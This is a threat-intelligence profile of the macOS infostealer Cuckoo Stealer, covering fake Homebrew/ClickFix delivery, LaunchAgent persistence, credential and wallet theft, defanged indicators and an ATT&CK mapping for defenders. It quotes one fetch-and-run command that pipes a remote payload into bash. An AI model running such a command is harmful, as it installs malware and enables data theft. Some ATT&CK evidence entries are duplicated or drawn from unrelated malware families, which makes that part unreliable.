Skip to main content
Mallory
Back to malware
Malware

Cuckoo Stealer

Cuckoo Stealer is a macOS infostealer, and in some reporting a stealer/RAT, delivered in social-engineering campaigns that impersonate legitimate software installation workflows, particularly fake Homebrew pages and ClickFix-style lures. Reported campaigns used typosquatted Homebrew infrastructure such as homabrews[.]org and counterfeit Homebrew pages to trick users into copying and executing malicious Terminal commands. Hunt.io described a chain in which a credential-harvesting loader repeatedly prompts for the user’s password, validates it locally with dscl . -authonly, then downloads a second-stage Cuckoo Stealer binary. Researchers Alden Schmidt and Intego also documented Cuckoo Stealer pivoting to fake Homebrew pages, with operators leveraging this method in Homebrew malvertising campaigns between May 2024 and January 2025.

On execution, Cuckoo Stealer can remove macOS quarantine attributes with xattr to reduce Gatekeeper warnings, copy and rename itself as DumpMediaSpotifyMusicConverter, and establish persistence via LaunchAgents that repeatedly execute the payload. One reported persistence artifact is com.homebrew.brewupdater.plist, with the malware copying its binary to a hidden directory under ~/.local-{session_id}/ as BrewUpdater. The content also states Cuckoo Stealer has been associated with LoginHook-style persistence in macOS-focused persistence research.

Its collection behavior includes staging data from Safari, Notes, and Keychain to /var/folder, collecting Safari bookmarks, cookies, and browsing history, searching systems for installed applications, and sending host information and stolen data to command-and-control infrastructure, including captured passwords, OS build, hostname, and username. Additional reporting in the content states it targets browser credentials, session tokens, Keychain data, Apple Notes, Discord and Telegram sessions, VPN/FTP configurations, Steam data, and data from more than 20 cryptocurrency wallet applications.

For credential theft, Cuckoo Stealer can display a GUI prompt claiming that macOS needs to access System Settings in order to capture passwords. For command and control, it can use sockets and encrypted HTTPS communications; one report describes HTTPS C2 using X25519 ECDH key exchange, libcurl, and additional XOR/MD5-derived encryption. Reported RAT-style capabilities include executing shell commands with or without output, rebooting the host, self-destruct, starting or stopping exfiltration, and exfiltrating specific files.

Cuckoo Stealer also performs locale-based filtering. It checks the LANG environment variable and avoids infecting systems configured for Armenia (hy_AM), Belarus (be_BY), Kazakhstan (kk_KZ), Russia (ru_RU), and Ukraine (uk_UA), using language settings to infer victim geography. High-confidence infrastructure and delivery indicators mentioned in the content include homabrews[.]org, raw.homabrews[.]org, brewsh[.]cx, brrewsh[.]org, brewshh[.]org, and IP address 5.255.123[.]244.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

MITRE ATT&CK

Techniques & procedures

35 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

1 technique
T1592Gather Victim Host InformationEvidence1

Volt Typhoon has obtained the victim's system current location.

Initial Access

2 techniques
T1189Drive-by CompromiseEvidence1

Victims are directed to high-fidelity, deceptive web interfaces that simulate legitimate services.

T1566.002Spearphishing LinkEvidence1

Iru Threat Intelligence has seen a recent increase in attackers using spoofed Homebrew webpages to get users to download malware.

Execution

4 techniques
T1059Command and Scripting InterpreterEvidence1
TacticExecution

Initial commands leverage curl to fetch obfuscated payloads, which are piped directly into shell interpreters (bash/zsh), minimizing the disk footprint.

T1059.002AppleScriptEvidence1
TacticExecution

ClickFix variant that uses the applescript:// URL scheme to invoke the macOS Script Editor... This URL-encoded hyperlink runs a dual-track routine... while silently executing the curl command in the background to deliver an infostealer, bypassing Gatekeeper via user-coerced interaction.

T1059.004Unix ShellEvidence1
TacticExecution

before we published the post, it was updated to include a malicious, base64-encoded cURL payload... Command curl -s http://185[.]93[.]89[.]62/d/vipx69930 | nohup bash &

T1204.002Malicious FileEvidence2
TacticExecution

Attackers exploit this trust by providing malicious command strings that mimic legitimate installation procedures.

Persistence

2 techniques
T1543.001Launch AgentEvidence2

Long-term access is secured via LaunchAgents and .plist files, often masquerading as legitimate system or software updaters.

T1547.002Authentication PackageEvidence1

LoginHooks and LogoutHooks have been around for a long time and can still be used to run a persistence script on macOS. When a person logs in or out, these mechanisms run code, as the names suggest.

T1543.001Launch AgentEvidence2

Long-term access is secured via LaunchAgents and .plist files, often masquerading as legitimate system or software updaters.

T1547.002Authentication PackageEvidence1

LoginHooks and LogoutHooks have been around for a long time and can still be used to run a persistence script on macOS. When a person logs in or out, these mechanisms run code, as the names suggest.

Stealth

5 techniques
T1027Obfuscated Files or InformationEvidence3
TacticStealth

The content repeatedly describes payloads, strings, configuration files, scripts, URLs, and binaries being obfuscated or encoded using Base64, XOR, RC4, AES, RSA, hex encoding, custom algorithms, and other methods across many malware families and threat actors.

T1036MasqueradingEvidence3
TacticStealth

Long-term access is secured via LaunchAgents and .plist files, often masquerading as legitimate system or software updaters.

T1036.005Match Legitimate Resource Name or LocationEvidence1
TacticStealth
T1140Deobfuscate/Decode Files or InformationEvidence1
TacticStealth

The content repeatedly describes malware and threat actors decoding, decrypting, or deobfuscating payloads, strings, configuration data, commands, and C2 traffic prior to execution or use, e.g., 'APT28 macro uses the command certutil -decode to decode contents of a .txt file storing the base64 encoded payload' and 'Action RAT can use Base64 to decode actor-controlled C2 server communications.'

T1497.001System ChecksEvidence1

DarkGate queries system locale information during execution. Later versions of DarkGate query GetSystemDefaultLCID for locale information to determine if the malware is executing in Russian-speaking countries.

T1553.001Gatekeeper BypassEvidence1

Credential Access

6 techniques
T1056.002GUI Input CaptureEvidence2

Bundlore prompts the user for their credentials. Calisto presents an input prompt asking for the user's login and password. Cuckoo Stealer has captured passwords by prompting victims with a "macOS needs to access System Settings" GUI window. Dok prompts the user for credentials. FIN4 has presented victims with spoofed Windows Authentication prompts to collect their credentials. iKitten prompts the user for their credentials. Keydnap prompts the users for credentials. Proton prompts users for their credentials. RedCurl prompts the user for credentials through a Microsoft Outlook pop-up. SILENTTRINITY's credphisher.py module can prompt a current user for their credentials. XCSSET prompts the user to input credentials using a native macOS dialog box leveraging the system process /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment.

T1528Steal Application Access TokenEvidence1

Exfiltration efforts focus on high-value data, including ... messaging session tokens (Telegram/Discord)

T1555Credentials from Password StoresEvidence1

Exfiltration efforts focus on high-value data, including browser credentials (Chromium/Firefox), macOS Keychains

T1555.001KeychainEvidence1

Exfiltration efforts focus on high-value data, including ... macOS Keychains

T1555.003Credentials from Web BrowsersEvidence1

Exfiltration efforts focus on high-value data, including browser credentials (Chromium/Firefox)

T1649Steal or Forge Authentication CertificatesEvidence1

Subsequent stages often involve a native-looking password prompt to facilitate credential harvesting under the guise of installation continuity.

Discovery

8 techniques
T1033System Owner/User DiscoveryEvidence2
TacticDiscovery

The content repeatedly describes malware and threat actors collecting usernames, identifying logged-in users, running whoami/query user/quser, checking admin status, and enumerating user sessions.

T1057Process DiscoveryEvidence1
TacticDiscovery

The content repeatedly describes malware and threat actors obtaining lists of running processes, using utilities such as tasklist, ps, WMI, Get-Process, CreateToolhelp32Snapshot, EnumProcesses, and similar APIs/commands to enumerate active processes on victim systems.

T1082System Information DiscoveryEvidence2
TacticDiscovery

The content repeatedly describes malware and threat actors collecting host details such as OS version, hostname, architecture, CPU, memory, BIOS, domain, language, and other configuration data; e.g., "APT41 uses multiple built-in commands such as systeminfo and net config Workstation to enumerate victim system basic configuration information."

T1217Browser Information DiscoveryEvidence2
TacticDiscovery

APT38 has collected browser bookmark information to learn more about compromised hosts, obtain personal information about users, and acquire details about internal network resources.

T1497.001System ChecksEvidence1

DarkGate queries system locale information during execution. Later versions of DarkGate query GetSystemDefaultLCID for locale information to determine if the malware is executing in Russian-speaking countries.

T1518Software DiscoveryEvidence1
TacticDiscovery

"Bazar can query the Registry for installed applications." / "BRONZE BUTLER has used tools to enumerate software installed on an infected host." / "LightSpy ... enumerate the Applications folder to collect the bundle name, bundle identifier, and version information..." / "Volt Typhoon has queried the Registry on compromised systems for information on installed software."

T1614System Location DiscoveryEvidence1
TacticDiscovery

"Amadey does not run any tasks or install additional malware if the victim machine is based in Russia"; "DarkGate queries system locale information... determine if the malware is executing in Russian-speaking countries"; "Ragnar Locker checks... GetLocaleInfoW and doesn't encrypt files if it finds a former Soviet country"; "Saint Bot has conducted system locale checks..."

T1614.001System Language DiscoveryEvidence2
TacticDiscovery

Avaddon checks for specific keyboard layouts and OS languages to avoid targeting Commonwealth of Independent States (CIS) entities... Bazar can perform a check to ensure that the operating system's keyboard and language settings are not set to Russian... Clop has checked the keyboard language using the GetKeyboardLayout() function... Ryuk has been observed to query the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language and the value InstallLanguage.

Collection

3 techniques
T1056.002GUI Input CaptureEvidence2

Bundlore prompts the user for their credentials. Calisto presents an input prompt asking for the user's login and password. Cuckoo Stealer has captured passwords by prompting victims with a "macOS needs to access System Settings" GUI window. Dok prompts the user for credentials. FIN4 has presented victims with spoofed Windows Authentication prompts to collect their credentials. iKitten prompts the user for their credentials. Keydnap prompts the users for credentials. Proton prompts users for their credentials. RedCurl prompts the user for credentials through a Microsoft Outlook pop-up. SILENTTRINITY's credphisher.py module can prompt a current user for their credentials. XCSSET prompts the user to input credentials using a native macOS dialog box leveraging the system process /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment.

T1074Data StagedEvidence1

The content repeatedly describes adversaries and malware storing collected data, command output, credentials, archives, or files in local temporary folders, working directories, hidden directories, registry locations, recycle bins, or specific files prior to exfiltration.

T1115Clipboard DataEvidence1

Rather than allowing users to highlight and copy the install command, the page forces them to use a single Copy button. That restriction is purposeful: it enables the attacker to inject an extra hidden command into the clipboard, outside of what is shown to the user on the webpage, which downloads a malicious payload in parallel with the Homebrew installer.

T1071.001Web ProtocolsEvidence3

The content repeatedly describes threat actors, malware, and campaigns using HTTP and/or HTTPS for command and control, including examples such as BlackEnergy communicating with C2 over HTTP POST requests and many other families using HTTP/S for C2.

T1095Non-Application Layer ProtocolEvidence1
T1105Ingress Tool TransferEvidence2

Initial commands leverage curl to fetch obfuscated payloads

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence2

ADVSTORESHELL exfiltrates data over the same channel used for C2... Agrius exfiltrated staged data using tools such as Putty and WinSCP, communicating with command and control servers... numerous malware and groups sent victim data, files, credentials, or host information over existing C2 channels.

Other

1 technique
T1656ImpersonationEvidence1

By presenting deceptive "fixes," "verifications," or installation prompts, adversaries induce users to manually execute malicious scripts via native utilities such as the Terminal or Script Editor.

INDICATORS OF COMPROMISE

IOCs tracked for this family

1 indicator attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
1 tracked

IPs, domains, and DNS infrastructure linked to this family.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app1 day ago
ACTIVITY FEED

Recent activity

22 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

levelblueNews
Jun 4, 2026
macOS ClickFix Social Engineering Campaigns

A macOS infostealer used in ClickFix campaigns to exfiltrate sensitive user data from compromised systems.

Read more
the sequenceNews
May 18, 2026
Brewing Trouble: Homebrew Spoofed Sites on the Rise

Information stealer delivered via fake Homebrew pages that mimic the official install flow to trick users into installing malicious commands, enabling secret exfiltration and possible persistent access.

Read more
the hacker newsNews
Feb 19, 2026
ThreatsDay Bulletin: OpenSSL RCE, Foxit 0-Days, Copilot Leak, AI Password Flaws & 20+ Stories

macOS infostealer/RAT delivered via typosquatted Homebrew-themed ClickFix lures; establishes LaunchAgent persistence, removes quarantine attributes, uses encrypted HTTPS C2, and steals browser credentials/session tokens, Keychain data, notes/messaging sessions, VPN/FTP configs, and data from numerous crypto wallet apps.

Read more
huntio blogNews
Feb 17, 2026
Fake Homebrew Pages Deliver Cuckoo Stealer via ClickFix | macOS Threat Hunting Analysis

Second-stage macOS infostealer/RAT delivered via a ClickFix/Homebrew-typosquat paste-and-run command. Establishes LaunchAgent persistence, removes quarantine attributes, uses encrypted HTTPS C2 (X25519 ECDH-derived), supports remote command execution and file exfiltration, and steals high-value data including browser credentials/cookies, Keychain, Apple Notes, Discord/Telegram sessions, VPN/FTP configs, Steam sessions, and data from 20+ cryptocurrency wallets.

Read more
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching1

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping35

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.